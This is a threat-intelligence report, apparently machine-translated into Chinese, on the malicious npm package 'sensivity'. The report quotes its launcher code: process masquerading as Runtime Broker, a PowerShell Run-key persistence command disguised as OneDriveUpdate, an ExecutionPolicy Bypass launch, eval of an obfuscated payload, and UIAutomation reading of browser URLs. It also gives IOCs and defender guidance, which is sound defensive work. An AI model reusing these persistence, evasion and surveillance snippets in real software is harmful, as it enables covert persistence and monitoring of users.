TL博士
npm 包 敏感性 自称“敏感度控制面板”。在Windows系统中,它充当远程控制和监控工具。
它的入口点, launcher.js将其自身进程重命名为 Runtime Broker,并写入一个名为 的自动启动 Run-key 值 OneDriveUpdate 它通过隐藏的 VBScript 重新启动该软件包,并启动 PowerShell。 -ExecutionPolicy Bypass然后评估一个 171 KB 的混淆服务器有效载荷和一个 6.87 MB 的本地模块, sens.node.
它在 TCP 端口 3000 上提供手机配对控制面板,并通过 Windows UIAutomation 读取活动浏览器的地址栏 URL,监视一个硬编码的 YouTube 视频。
之前被视为黑框的两个部分现在已经得到解答。混淆后的服务器, server.obf.js它使用 obfuscator.io 的 RC4 字符串数组方案;离线重新实现其解码器(不执行 JavaScript)可恢复单个外部端点 — https://izopi.com/check.php — 与嵌入式 RSA 公钥一起用于验证已签名的许可证响应。
原生模块, sens.node,它没有打包:它的导入表和嵌入字符串将其标识为 DirectX 11 / Dear ImGui 游戏内覆盖层,提供自动瞄准、透视(穿墙)和自动扳机功能,由远程进程注入和内存读/写驱动。
其中包含的字符串引用了与 GTA V / FiveM 一致的车辆实体和地图位置。npm 包是对该原生模块的交付和持久化封装。
决定性信号是操作层面的,而非技术层面的:一位匿名发布者推送了大约七十个版本的同一软件包—— 2.5.0 2.5.69通过 在几天内,每个人都携带了相同的发射器。
没有安装 hooks有效载荷仅在软件包启动时运行。
攻击原理
sensivity 包包含十个文件。package.json 文件非常简洁:没有 repository 字段,没有 license 字段,只有一个主目录和两个 bin 目录别名(sensivity 和 sens),它们都指向 launcher.js,还有一个启动脚本,即 node launcher.js。没有 postinstall 或 preinstall 语句。npm install 命令不会触发任何事件。以下描述的行为会在用户启动该包时发生——无论是通过 bin 目录、启动脚本还是 require 语句。
该压缩包包含启动器、混淆后的服务器、原生模块、Visual Basic 脚本以及用于控制面板的 public/web 目录。launcher.js 是一个易于阅读的编排器;运行时关键逻辑存在于它加载的两个文件中——一个混淆后的服务器和一个已编译的原生模块,这两个文件将在下文解析。
进程伪装和伪造的 OneDrive 更新程序
在执行初期,launcher.js 会两次设置自己的进程名称:
javascript process.title = 'Runtime Broker'; Runtime Broker 是一个合法的 Windows 进程 (RuntimeBroker.exe),用于管理应用程序权限。将 Node 进程重命名为 RuntimeBroker 后,只需快速查看任务管理器,即可发现任何异常。
持久化功能是通过 PowerShell 编写的,而不是直接使用注册表 API:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 自启动项名为 OneDriveUpdate,它并非直接指向程序包本身,而是指向运行捆绑的 OneDrive.Standalone.Updater.vbs 脚本的 wscript.exe。该脚本会在一个隐藏窗口中重新启动 node launcher.js。由于运行键名称和 VBScript 文件名都采用了微软的品牌标识,因此该自启动项看起来像是一个例行的 OneDrive 任务。
绕过执行策略的 PowerShell
启动器会反复调用 PowerShell。扫描器标记为关键的调用目标是启动一个已生成的 .ps1 文件,但该文件的执行策略已被禁用:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass 会移除该次调用的本地脚本签名检查。生成的脚本会处理下一节中描述的浏览器监控和窗口检测工作。
混淆后的服务器和原生模块
设置完成后,launcher.js 会加载并执行其真正的有效载荷:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js 文件大小为 171 KB,包含 _0x 数组混淆代码——这是一种 JavaScript 混淆模式,其中每个字符串和标识符都被替换为一个打乱顺序的数组的索引,然后在运行时进行解引用。该方案是 obfuscator.io 生成的 RC4 变体:一个解码器函数对数组元素进行 base64 解码,然后使用每次调用时指定的密钥对其进行 RC4 解密。在一个单独的脚本中重新实现该解码器——仅对提取出的包含 821 个元素的字符串数组运行该重新实现的函数,而不运行包本身的 JavaScript 代码——即可干净利落地解耦。解耦后的结果虽然不大,但足以说明问题。cis包含:一个外部 URL `https://izopi.com/check.php`,已分配给常量 `LICENSE_URL`;一个嵌入式 RSA 公钥 `PUBLIC_KEY_PEM`;本地面板路由 `/api/kill`、`/api/qr.png`、`/api/trigger`、`/api/url`、`/trigger/off` 和 `/trigger/status`;以及字符串 `child_process`、`crypto` 和 `[Sensivity] sens.node loaded`——最后一个是启动器重写为“程序模块已加载”的日志行。该端点用于许可证检查:客户端提交一个标识符(混淆后的服务器会格式化为 Discord ID: %s 字符串),RSA 密钥验证服务器的签名响应。
sens.node 是一个 6.87 MB 的编译型原生插件,它没有被打包——其节熵值在 5.6 到 6.6 之间,PE 导入导出表也完好无损,因此可以直接读取其功能。它导出 napi_register_module_v1, standard Node N-API 是其入口点,因此评估后的服务器使用简单的 require 语句加载它。其导入表是关键所在。它从 KERNEL32 模块中引入了 OpenProcess、VirtualAllocEx、WriteProcessMemory、ReadProcessMemory、CreateRemoteThread、K32EnumProcessModules 和 Process32First/NextW 函数——这是用于定位其他进程、在其内部分配内存以及读写该内存的规范函数集。它从 USER32 模块中引入了 GetAsyncKeyState、GetKeyState、mouse_event 和 SetCursorPos 函数;它链接了 d3d11.dll、D3DCOMPILER_43 和 dwmapi 以支持屏幕叠加层,并链接了完整的 WINHTTP 函数集以进行网络调用。其嵌入的字符串清晰地命名了各项功能:启用自动瞄准、自动瞄准视野、盒子透视、骨骼透视、自动扳机、透视生成器、载具透视、检测到Electron反作弊系统,以及“致ImGui”横幅(Dear ImGui 1.91.3 WIP)。位置和实体字符串(例如“葡萄籽医疗诊所”)以及载具透视词汇表与GTA V/FiveM保持一致。
这种拆分是刻意为之:可读的 launcher.js 仅包含扫描器易于读取的部分——持久化、伪装、eval 调用本身——而混淆层则隐藏了运行时连接的唯一外部主机,二进制文件则包含游戏覆盖层和进程注入逻辑。启动器是轻量级的、可审计的外壳;混淆后的服务器隐藏了网络身份;原生模块是有效载荷。我们将二进制文件的导入语句和字符串描述为可读的;我们不会从中推断操作者的意图。
端口 3000 上的手机配对控制面板
启动器管理着 TCP 端口 3000 上的本地 Web 服务器,并将其视为单例。它会查询是否存在监听器,并在绑定之前将其清除:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 该面板可通过 http://localhost:3000 访问,并硬编码了一个局域网备用 URL:http://192.168.1.16:3000。public/ 目录和面板的行为符合二维码配对流程:手机扫描二维码即可作为远程设备绑定到主机。启动器中没有以明文形式显示任何外部命令与控制域——但正如上面的反混淆结果所示,混淆后的服务器中存在一个:izopi.com 许可证端点。面板本身是本地的,作用范围仅限于局域网;唯一的出站主机是该许可证检查。
分离式的监督/工作进程模型可以维持进程的运行。启动器会使用 SENSIVITY_SUPERVISOR 和 SENSIVITY_WORKER 环境变量重启自身,每个子进程都以隐藏方式运行,因此即使终止一个进程,也会有监视程序重新启动它。
浏览器监控与 YouTube 信号
最具体的行为是浏览器监控。launcher.js 构建 PowerShell,该 PowerShell 驱动 Windows UIAutomation 读取正在运行的浏览器的地址栏:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern 函数返回 UI 元素的文本内容。应用于浏览器的地址栏编辑控件时,它会返回受害者当前正在浏览的 URL——无需浏览器扩展程序,无需修改磁盘上的配置文件,也无需 API 钩子。生成的脚本会遍历 $browserNames 列表,并提取当前处于前台的浏览器的 URL 或窗口标题。
该URL针对的是一个硬编码的单一目标进行测试:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 该启动器以三秒为一个循环,轮询显示 YouTube 的浏览器窗口,并生成包含 Get-YouTubeBrowser / Test-TargetYouTubeUrl 命令对的 PowerShell 命令,该命令对与该视频 ID 匹配。可观察到的效果有两方面:一是读取受害者屏幕上的活动浏览 URL,二是检测宿主与特定 YouTube 视频的交互。我们描述了该机制和目标,但并未从中推断其动机。
扫描器将地址栏读取的内容标记为 sensitive_data_enumeration——这是一个 Process::env 和 UIAutomation 源,它为支持网络功能的运行时提供数据。单独来看,它似乎无害,但一旦追踪到从 UIAutomation 源到混淆服务器的数据生命周期,就会发现其具有监视目的。
时间线和版本演变
灵敏度并非一次性上传。发布者账户中大约有七十个已发布的该软件包版本,而且在审核期间还有新的版本不断涌入。启动器在 2.5.x 系列版本中逐步添加新功能,而其持久性和有效载荷加载方式则保持不变。
| 日期(UTC) | 观察到的版本 | 启动器状态 |
|---|---|---|
| 2026-06-02 | 2.5.8 – 2.5.46 (25) | 基础二维码面板启动器;运行键持久化;混淆服务器评估。 |
| 2026-06-03 | 2.5.53 – 2.5.61 (6) | 相同的指纹;抑制控制台跟踪。 |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | 添加置顶的 YouTube 互动目标 wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 – 2.5.69 (24) | 填补空白的重新出版涵盖范围;主管/工人监督员。 |
对下载的三个版本(2.5.0、2.5.36 和 2.5.69)的启动器进行分析,发现其包含四个层级。最早的版本使用基本的二维码配对启动器。从 2.5.33 版本开始,出现了 UIAutomation 地址栏采集器。从 2.5.58 版本开始,添加了管理层。从 2.5.64 版本开始,分离式管理/工作进程监控程序完善了整个启动器架构。始终有四项内容保持不变:OneDriveUpdate Run 键、OneDrive.Standalone.Updater.vbs 投放器、执行过的 server.obf.js 文件以及 sens.node 原生模块。
2026年06月05日的更新浪潮引人注目,因为它重新发布了版本号较低的版本——2.5.0 到 2.5.15——这些版本号低于几天前确认的版本。其结果是在注册表中出现了一条连续的 2.5.x 行,每个版本都使用相同的启动器。
妥协指标
以下所有指标均直接从软件包压缩包中读取。可读启动器仅包含回环地址和一个私有局域网地址;唯一的外部主机名 izopi.com 是通过离线反混淆 server.obf.js 文件恢复的。
| 类型 | 指示符 | 笔记 |
|---|---|---|
| 小包装 | npm:sensivity (约70个版本, 2.5.0–2.5.69) | 单包发布者;无软件仓库;无许可证。 |
| 文件 | launcher.js | 可读的协调器;主目标和 bin 目标。 |
| 文件 | server.obf.js (约171 KB) | obfuscator.io RC4 字符串数组有效载荷,通过以下方式加载 eval(fs.readFileSync(...)). |
| 文件 | sens.node (约6.87 MB) | PE32+ x86-64 节点 N-API 插件;SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| 文件 | OneDrive.Standalone.Updater.vbs | 隐藏的重新启动程序(node launcher.js). |
| 网络 | https://izopi.com/check.php | 从混淆的服务器中恢复许可证/身份验证端点;嵌入式 RSA 公钥验证响应。 |
| 能力 | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | 远程进程注入和内存读写能力。 |
| 能力 | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui 游戏叠加层实现了自动瞄准、透视和自动射击功能。 |
| 注册表 | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | 自动启动值指向 wscript.exe 以及VBScript启动器。 |
| 工艺应用 | process.title = 'Runtime Broker' | 伪装成合法的 Windows 运行时代理进程。 |
| 行为 | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | 对生成的 PowerShell 脚本使用执行策略绕过。 |
| 行为 | UIAutomation ValuePattern 读取浏览器地址栏 | 读取前台浏览器窗口的网址。 |
| 行为 | 目标视频 ID wJWta2lO0Lw3 秒 YouTube 投票 | 固定的交战监控信号。 |
| 网络 | http://localhost:3000, 倒退 http://192.168.1.16:3000 | 本地和局域网均可访问的二维码配对控制面板。 |
| 环境 | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | 分离式监控进程协调标志。 |
归因、影响和捍卫者
该软件包由一个 npm 账户发布,该账户提供的电子邮件地址是一个未经验证的 Gmail 地址。该账户的注册表信誉评分极低,仅维护和发布这一个软件包,且没有关联的源代码仓库。我们尚未验证该电子邮件地址的所有权,因此我们将此次攻击活动归咎于该发布者账户,而非任何特定个人。启动器本身不包含明文基础架构,但目前已知的外部主机是:经过混淆处理的服务器会联系 izopi.com 进行许可证检查,而原生模块(并非逐条指令反向读取,而是从其导入表和字符串中读取)是一个游戏覆盖层,它会注入并读取另一个进程的内存。
可观察到的影响主要体现在安装并运行Sensivity的Windows用户身上,他们期望获得一个控制面板实用程序。在这些主机上,该软件包会建立伪装成OneDrive任务的自动启动持久化机制,重命名自身以模仿系统进程,读取用户正在浏览的URL,并启动一个配对面板,将计算机通过本地网络绑定到远程设备。由于存在监控程序/工作程序,因此即使终止单个进程也无法将其移除;即使重启后,运行键中的条目仍然存在。macOS和Linux并非该启动器的目标——持久化、PowerShell和UIAutomation路径仅适用于Windows。
这种频繁更换七十个版本的趋势值得关注。在短短几天内,同一个软件包被重新发布数十次,甚至包括回填低于已下架版本的版本号,这使得注册表中始终保留着一个有效的副本,从而破坏了版本锁定的黑名单机制。例如,针对 sensivity@2.5.61 的黑名单条目对第二天重新发布的 sensivity@2.5.3 没有任何作用。
防御者可以采取以下措施:
- 在 registry-proxy 和 CI 允许列表中彻底禁用包名敏感性。锁定单个版本会受到重新发布节奏的影响;包名才是持久的标识。
- 查找名为 OneDriveUpdate 的 Run 值,该值会调用 wscript.exe 来处理用户路径下的 .vbs 文件。真正的 OneDrive 更新程序并非通过这种方式注册的。
- 收到一条关于名为“Runtime Broker”的 Node.js 进程的警报。但实际的代理是 RuntimeBroker.exe,而不是 Node 运行时环境。
- 标记 npm 安装时获取的软件包,这些软件包会附带一个编译好的 .node 插件以及对同级 .obf.js 文件执行 eval(fs.readFileSync(…)) 的操作。这种组合——不透明的本地二进制文件与混淆的文本有效载荷一起加载——是结构上的关键特征,与任何字符串 IOC 无关。
- 对于受管 Windows 端点,应将由意外的 Node 进程在端口 3000 上生成的任何本地绑定监听器视为可疑。
- 阻止或警告来自开发者或最终用户主机的出站请求到 izopi.com;这是该软件包唯一的外部端点,可通过混淆服务器的 /check.php 访问。
- 对于任何捆绑的 .node 插件,在信任它之前,请务必检查其导入表。无论软件包声称的功能如何,OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread 这几个函数的组合都属于远程进程注入;在这里,它与 Direct3D 叠加层和自瞄/透视/扳机等相关代码并列。
静态分析 pipeline因此,这种验证方式在版本更迭中始终有效:非网络安装配置文件、将进程标题分配给已知的系统进程名称、通过 PowerShell 执行 Run 键写入操作,以及执行从磁盘读取的文件。这些验证方式都不依赖于域名、IP 地址或版本号,因此不会因下次重新发布而导致版本号变更。
案例
[npm:灵敏度] – 此处讨论的软件包版本行的注册表页面;可能会被删除。





